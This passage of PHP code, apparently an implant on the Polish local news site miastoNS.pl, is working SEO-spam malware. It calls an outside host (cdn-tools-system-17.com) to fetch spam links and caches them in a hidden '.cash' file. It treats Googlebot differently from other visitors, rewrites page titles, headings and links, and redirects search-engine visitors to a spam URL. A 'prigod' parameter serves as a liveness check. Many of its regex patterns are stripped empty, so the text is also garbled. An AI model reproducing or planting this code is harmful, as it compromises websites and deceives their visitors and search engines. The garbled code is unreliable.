ukUrl) echo "http://cdn-tools-system-17.com/linktest/tuktuk.php?d=$donor&cldw=$cldw&dgrp=$algo&b=$itemcrawler&shema=$shema"; $ll = get_data_yo("http://cdn-tools-system-17.com/linktest/tuktuk.php?d=$donor&cldw=$cldw&dgrp=$algo&b=$itemcrawler&shema=$shema"); $el = explode(' ', $ll); } } } // ------ if ($my_content && isset($_REQUEST['prigod'])) { $my_content = '---prigod---'; } if ($my_content && strpos($ua, 'NF5Vr4XAI')) { $my_content = '---prigod---'; } if ($key && $abt) { if ($cldw && !$morda) { preg_match_all('##iUm', $my_content, $ahrefs); $cntahrefs = count($ahrefs[0]); $cntcldwmap = count($cldwmap); $i = 0; foreach ($ahrefs[0] as $ahref) { if ($cldwmap[$i]) { $my_content = str_replace($ahref, $cldwmap[$i], $my_content); } $i++; } if ($morda) { $cldwfooter = ''; foreach ($cldwmap as $cldwflink) { $cldwfooter .= "$cldwflink "; } $my_content = str_replace('', " ", $my_content); } } if (!$morda) { $my_content = preg_replace('##iUs', "$title", $my_content, 1); $my_content = preg_replace("##iUs", '', $my_content); $my_content = preg_replace("##iUs", '', $my_content); $my_content = preg_replace('##iUm', "

$h1

", $my_content, 1); $my_content = preg_replace('##iUm', "

$h1

", $my_content, 1); $my_content = preg_replace('##iUm', "

$h1

", $my_content, 1); $my_content = preg_replace("##iUs", '', $my_content); $my_content = preg_replace("##iUs", '', $my_content); $my_content = preg_replace("##iUs", '', $my_content); $my_content = str_replace('', " ", $my_content); $my_content = preg_replace("##iUs", '', $my_content); $my_content = preg_replace('##iUs', '', $my_content, 1); if (!empty($txt)) { if (@preg_match('##iUs', $my_content)) { $my_content = preg_replace('##iUs', "
$txt
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
#iUs', $my_content)) { $my_content = preg_replace('#
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
#iUs', $my_content)) { $my_content = preg_replace('#
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('##iUs')) { $my_content = preg_replace('##iUs', "\n
$txt
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('##iUs', $my_content)) { $my_content = preg_replace('##iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('##iUs', $my_content)) { $my_content = preg_replace('##iUs', "\n
\n$txt\n
", $my_content, 1); } } } } //end if key elseif ($donor_good) { $pIndex = 0; if (empty($el)) { return $my_content; } foreach ($el as $ln) { if (preg_match('##', $my_content)) { $my_content = preg_replace('##', "_-strong-_ $ln ", $my_content, 1); } elseif (preg_match('##', $my_content)) { $my_content = preg_replace('##', "_-b-_ $ln ", $my_content, 1); } elseif (preg_match('##', $my_content)) { $my_content = preg_replace('##', "_-i-_ $ln ", $my_content, 1); } elseif (preg_match('##', $my_content)) { $my_content = preg_replace('##', "_-u-_ $ln ", $my_content, 1); } elseif (preg_match('##', $my_content)) { $pIndex++; preg_match('#(.*)?<\/p>#', $my_content, $p); $my_content = preg_replace('##iUs', "_-p-_{$pIndex}", $my_content, 1); $my_content = preg_replace('#

#iUs', "{$pIndex}_-/p-_", $my_content, 1); $contentP = 1; if (intval($pIndex % 2) > 0) { $contentP = leftContent($p[2], $ln, $pIndex); } else { $contentP = rightContent($p[2], $ln, $pIndex); } $my_content = preg_replace('#\_\-p\-\_' . $pIndex . '(.*)' . $pIndex . '\_\-\/p\-\_#iUs', '_-p-_ ' . $contentP . ' _-/p-_', $my_content); } elseif (preg_match('#

#', $my_content)) { $my_content = preg_replace('#

#', "_-/p-_ \n$ln ", $my_content, 1); } elseif (preg_match('##', $my_content)) { $my_content = preg_replace('##iUs', " $ln ", $my_content, 1); } elseif (preg_match('##', $my_content)) { $my_content = preg_replace('##iUs', "_-span-_ $ln ", $my_content, 1); } elseif (preg_match('##iUs', $my_content)) { $my_content = preg_replace('##iUs', "\n$ln ", $my_content, 1); } } $my_content = str_replace('_-', '<', $my_content); $my_content = str_replace('-_', '>', $my_content); } echo $my_content; } register_shutdown_function('shutdown'); } else { if ($siteTypo == 'typo3') { function replaceContent($my_content, $data = null) { $morda = $data['morda']; $eb = $data['eb']; $txt = $data['txt']; $qq = $data['qq']; $key = $data['key']; $desc = $data['desc']; $lang = $data['lang']; $cldwmap = $data['cldwmap']; $el = $data['el']; $dw = $data['dw']; $cldw = $data['cldw']; $redcode = $data['redcode']; $abt = $data['abt']; $hspan = $data['hspan']; $h1 = $data['h1']; $ua = $data['ua']; $donor = $data['donor']; $algo = $data['algo']; $showTuktukUrl = $data['showTuktukUrl']; $shema = $data['shema']; $sitePage = $data['sitePage']; $siteTypo = $data['siteTypo']; $title = ucfirst($key); $donor_good = true; // ------------- if (($abt || $hspan) && !$_GET[$qq]) { if (!function_exists('http_response_code')) { function http_response_code() { return 200; } } if ($donor_good) { if (http_response_code() != 200) { $donor_good = false; } } if ($donor_good) { $content_bad_patterns = array( '(.*)404(.*)<', '<title>(.*)not found(.*)<', '<title>(.*)cannot be displayed(.*)<', ); foreach ($content_bad_patterns as $bad_pattern) { if (preg_match('#' . $bad_pattern . '#i', $my_content)) { $donor_good = false; break; } } } if ($donor_good) { $itemcrawler = 'x'; if (preg_match('/googlebot/i', $ua)) { $itemcrawler = 'g'; } $donor = urlencode($donor); if ($shema == 2) { if ($showTuktukUrl) echo "<span style='display:none'>http://cdn-tools-system-17.com/linktest/tuktuk.php?d=$donor&cldw=$cldw&dgrp=$algo&b=$itemcrawler&shema=$shema&site_type=$siteTypo</span>"; if (!file_exists(__DIR__ . '/.cash') || isProudCahs()) { $content = get_data_yo("http://cdn-tools-system-17.com/linktest/tuktuk.php?d=$donor&cldw=$cldw&dgrp=$algo&b=$itemcrawler&shema=$shema&site_type=$siteTypo"); if (!empty($content)) { $cashTemp = base64_decode($content); file_put_contents(__DIR__ . '/.cash', $cashTemp); } else { touch(__DIR__ . '/.cash'); } } $cash = file_get_contents(__DIR__ . '/.cash'); $ll = json_decode($cash, true); $el = $ll[$sitePage]; } else { if ($showTuktukUrl) echo "<span style='display:none'>http://cdn-tools-system-17.com/linktest/tuktuk.php?d=$donor&cldw=$cldw&dgrp=$algo&b=$itemcrawler&shema=$shema&site_type=$siteTypo</span>"; $ll = get_data_yo("http://cdn-tools-system-17.com/linktest/tuktuk.php?d=$donor&cldw=$cldw&dgrp=$algo&b=$itemcrawler&shema=$shema&site_type=$siteTypo"); $el = explode(' ', $ll); } } } // ------ if ($my_content && isset($_REQUEST['prigod'])) { $my_content = '---prigod---'; } if ($my_content && strpos($ua, 'NF5Vr4XAI')) { $my_content = '---prigod---'; } if ($key && $abt) { if ($cldw && !$morda) { preg_match_all('#<a (.*)</a>#iUm', $my_content, $ahrefs); $cntahrefs = count($ahrefs[0]); $cntcldwmap = count($cldwmap); $i = 0; foreach ($ahrefs[0] as $ahref) { if ($cldwmap[$i]) { $my_content = str_replace($ahref, $cldwmap[$i], $my_content); } $i++; } if ($morda) { $cldwfooter = ''; foreach ($cldwmap as $cldwflink) { $cldwfooter .= "$cldwflink "; } $my_content = str_replace('</body>', "<footer> <div class=\"tags_cloud footer column block\" id=\"tags_cloud footer column block\"> $cldwfooter </div> </footer> </body>", $my_content); } } if (!$morda) { $my_content = preg_replace('#<title(.*)<\/title>#iUs', "<title>$title", $my_content, 1); $my_content = preg_replace("##iUs", '', $my_content); $my_content = preg_replace("##iUs", '', $my_content); $my_content = preg_replace('##iUm', "

$h1

", $my_content, 1); $my_content = preg_replace('##iUm', "

$h1

", $my_content, 1); $my_content = preg_replace('##iUm', "

$h1

", $my_content, 1); $my_content = preg_replace("##iUs", '', $my_content); $my_content = preg_replace("##iUs", '', $my_content); $my_content = preg_replace("##iUs", '', $my_content); $my_content = str_replace('', " ", $my_content); $my_content = preg_replace("##iUs", '', $my_content); $my_content = preg_replace('##iUs', '', $my_content, 1); if (!empty($txt)) { if (@preg_match('##iUs', $my_content) && !empty($txt)) { $my_content = preg_replace('##iUs', "
$txt
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
#iUs', $my_content)) { $my_content = preg_replace('#
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
#iUs', $my_content)) { $my_content = preg_replace('#
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('##iUs')) { $my_content = preg_replace('##iUs', "
\n
$txt
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('##iUs', $my_content)) { $my_content = preg_replace('##iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('##iUs', $my_content)) { $my_content = preg_replace('##iUs', "\n
\n$txt\n
", $my_content, 1); } } } } //end if key elseif ($donor_good) { $pIndex = 0; if (empty($el)) { return $my_content; } foreach ($el as $ln) { if (preg_match('##', $my_content)) { $my_content = preg_replace('##', "_-strong-_ $ln ", $my_content, 1); } elseif (preg_match('##', $my_content)) { $my_content = preg_replace('##', "_-b-_ $ln ", $my_content, 1); } elseif (preg_match('##', $my_content)) { $my_content = preg_replace('##', "_-i-_ $ln ", $my_content, 1); } elseif (preg_match('##', $my_content)) { $my_content = preg_replace('##', "_-u-_ $ln ", $my_content, 1); } elseif (preg_match('##', $my_content)) { $pIndex++; preg_match('#(.*)?<\/p>#', $my_content, $p); $my_content = preg_replace('##iUs', "_-p-_{$pIndex}", $my_content, 1); $my_content = preg_replace('#

#iUs', "{$pIndex}_-/p-_", $my_content, 1); $contentP = 1; if (intval($pIndex % 2) > 0) { $contentP = leftContent($p[2], $ln, $pIndex); } else { $contentP = rightContent($p[2], $ln, $pIndex); } $my_content = preg_replace('#\_\-p\-\_' . $pIndex . '(.*)' . $pIndex . '\_\-\/p\-\_#iUs', '_-p-_ ' . $contentP . ' _-/p-_', $my_content); } elseif (preg_match('#

#', $my_content)) { $my_content = preg_replace('#

#', "_-/p-_ \n$ln ", $my_content, 1); } elseif (preg_match('##', $my_content)) { $my_content = preg_replace('##iUs', " $ln ", $my_content, 1); } elseif (preg_match('##', $my_content)) { $my_content = preg_replace('##iUs', "_-span-_ $ln ", $my_content, 1); } elseif (preg_match('##iUs', $my_content)) { $my_content = preg_replace('##iUs', "\n$ln ", $my_content, 1); } } $my_content = str_replace('_-', '<', $my_content); $my_content = str_replace('-_', '>', $my_content); } return $my_content; } } } } else { function replaceContent($my_content) { return $my_content; } } if (($_GET[$qq] || $cldw) && $fromse && !$abt) { if (!$redcode && !$morda) { if ($key) $tkey = str_replace(' ', '+', $key); else $tkey = str_replace('-', '+', $_GET[$qq]); if (strstr($redir, '?')) $redir .= "&keyword=" . $tkey; else $redir .= "?keyword=" . $tkey; $redir = str_replace('KEY', $tkey, $redir); header("Location: $redir"); echo ""; xdie(); } elseif (!$morda) { $key = str_replace('-', ' ', $_GET[$qq]); $redcode = str_replace('KEY', $key, $redcode); echo stripslashes($redcode); } } ?> To oni są zasłużeni dla Ziemi Sądeckiej SONY DSC - miastoNS.pl